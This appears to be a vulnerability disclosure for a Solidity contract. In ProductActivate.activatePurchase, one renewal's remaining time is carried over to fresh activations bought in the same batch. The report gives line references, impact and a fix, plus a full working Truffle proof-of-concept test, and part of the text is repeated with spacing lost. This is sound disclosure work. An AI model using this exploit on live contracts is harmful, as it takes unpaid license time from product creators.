Batch renewals can copy one license's remaining duration into later fresh activations
Summary
ProductActivate.activatePurchase reuses a mutated theDuration across all entries in a batch purchase. If the first entry renews an existing activation, its remaining time is added into theDuration; later fresh activation hashes in the same transaction inherit that extra time even though they are not renewals.
This lets a regular buyer obtain fresh activations with more time than the purchased offer duration should grant.
Affected code
contracts/ProductActivate.sol:149 initializes theDuration once before the purchase loop.
contracts/ProductActivate.sol:157 iterates through every purchase.
contracts/ProductActivate.sol:193-199 adds the old activation's remaining time into theDuration during renewal.
contracts/ProductActivate.sol:212-214 mints each token using the currently mutated theOffer.value.
Reproduction
I added a focused Truffle PoC:
test/ProductActivateRenewalDurationLeakPoC.js
Run:
npx truffle test test/ProductActivateRenewalDurationLeakPoC.js --migrate-none
Observed result:
Contract: ProductActivate renewal duration leak PoC
√ carries one renewal's remaining time into later fresh purchases in the same batch
1 passing
The PoC:
- Creates an expiring activation offer with duration
100000 seconds.
- Purchases
renewedHash.
- Calls
activatePurchase again with numPurchases = 2 and hashes [renewedHash, freshHash].
- Confirms
freshHash receives roughly the same extended expiration as the renewed activation.
Impact
A buyer can copy remaining time from an existing activation into later fresh activations in the same batch. Product creators price offers by activation period, so this can grant unpaid extra license time and create a creator revenue / license accounting mismatch.
This is not a direct ETH/token theft claim. The conservative impact is unauthorized additional activation duration for fresh licenses through the normal public purchase path.
Suggested fix
Keep the offer's base duration unchanged across loop iterations. For each purchase item, compute a local duration/value pair. Add old remaining time only to the local value for the current renewal, and do not let it persist into later fresh purchases.
Adding a regression test for [existingHash, freshHash] in one activatePurchase call should catch this.
Full PoC test
const StringCommon = artifacts.require("StringCommon.sol");
const ImmutableEntity = artifacts.require("ImmutableEntity.sol");
const ImmutableProduct = artifacts.require("ImmutableProduct.sol");
const CreatorToken = artifacts.require("CreatorToken.sol");
const ActivateToken = artifacts.require("ActivateToken.sol");
const ProductActivate = artifacts.require("ProductActivate.sol");
const BN = web3.utils.BN;
contract("ProductActivate renewal duration leak PoC", accounts => {
const owner = accounts[0];
const seller = accounts[1];
const buyer = accounts[2];
const renewedHash = 0xace1;
const freshHash = 0xace2;
const duration = new BN("100000");
function expirationOf(statusValue) {
return new BN(statusValue.toString()).shrn(128).and(new BN("ffffffff", 16));
}
it("carries one renewal's remaining time into later fresh purchases in the same batch", async () => {
const common = await StringCommon.new();
await common.initialize();
const entity = await ImmutableEntity.new();
await entity.initialize(common.address);
const product = await ImmutableProduct.new();
await product.initialize(entity.address, common.address);
const creator = await CreatorToken.new();
await creator.initialize(common.address, entity.address, product.address);
const activateToken = await ActivateToken.new();
await activateToken.initialize(common.address, entity.address);
const productActivate = await ProductActivate.new();
await productActivate.initialize(
common.address,
entity.address,
product.address,
activateToken.address,
creator.address
);
await product.restrictProductActivate(productActivate.address, { from: owner });
await activateToken.restrictToken(productActivate.address, creator.address, { from: owner });
await entity.entityCreate("Duration Seller", "https://seller.example", { from: seller });
await entity.entityStatusUpdate(1, 1, { from: owner });
await product.productCreate(
"Duration Product",
"https://seller.example/duration-product",
"https://seller.example/logo.png",
0,
{ from: seller }
);
await product.productOfferFeature(
0,
"0x0000000000000000000000000000000000000000",
1,
1,
duration,
0,
0,
"https://seller.example/duration-offer",
false,
0,
0,
{ from: seller }
);
await productActivate.activatePurchase(
1,
0,
0,
1,
[renewedHash],
[0],
{ from: buyer, value: 1 }
);
const firstStatus = await activateToken.activateStatus(1, 0, renewedHash);
const firstExpiration = expirationOf(firstStatus[0]);
await productActivate.activatePurchase(
1,
0,
0,
2,
[renewedHash, freshHash],
[0, 0],
{ from: buyer, value: 2 }
);
const renewedStatus = await activateToken.activateStatus(1, 0, renewedHash);
const freshStatus = await activateToken.activateStatus(1, 0, freshHash);
const renewedExpiration = expirationOf(renewedStatus[0]);
const freshExpiration = expirationOf(freshStatus[0]);
assert(
renewedExpiration.sub(firstExpiration).gt(duration.div(new BN("2"))),
"renewed activation should extend by roughly one paid duration"
);
assert(
freshExpiration.sub(firstExpiration).gt(duration.div(new BN("2"))),
"fresh activation unexpectedly received the renewal's leftover time"
);
assert(
renewedExpiration.sub(freshExpiration).abs().lte(new BN("2")),
"fresh activation should not end at the same time as the renewed activation"
);
});
});
Batch renewals can copy one license's remaining duration into later fresh activations
Summary
ProductActivate.activatePurchasereuses a mutatedtheDurationacross all entries in a batch purchase. If the first entry renews an existing activation, its remaining time is added intotheDuration; later fresh activation hashes in the same transaction inherit that extra time even though they are not renewals.This lets a regular buyer obtain fresh activations with more time than the purchased offer duration should grant.
Affected code
contracts/ProductActivate.sol:149initializestheDurationonce before the purchase loop.contracts/ProductActivate.sol:157iterates through every purchase.contracts/ProductActivate.sol:193-199adds the old activation's remaining time intotheDurationduring renewal.contracts/ProductActivate.sol:212-214mints each token using the currently mutatedtheOffer.value.Reproduction
I added a focused Truffle PoC:
Run:
Observed result:
The PoC:
100000seconds.renewedHash.activatePurchaseagain withnumPurchases = 2and hashes[renewedHash, freshHash].freshHashreceives roughly the same extended expiration as the renewed activation.Impact
A buyer can copy remaining time from an existing activation into later fresh activations in the same batch. Product creators price offers by activation period, so this can grant unpaid extra license time and create a creator revenue / license accounting mismatch.
This is not a direct ETH/token theft claim. The conservative impact is unauthorized additional activation duration for fresh licenses through the normal public purchase path.
Suggested fix
Keep the offer's base duration unchanged across loop iterations. For each purchase item, compute a local duration/value pair. Add old remaining time only to the local value for the current renewal, and do not let it persist into later fresh purchases.
Adding a regression test for
[existingHash, freshHash]in oneactivatePurchasecall should catch this.Full PoC test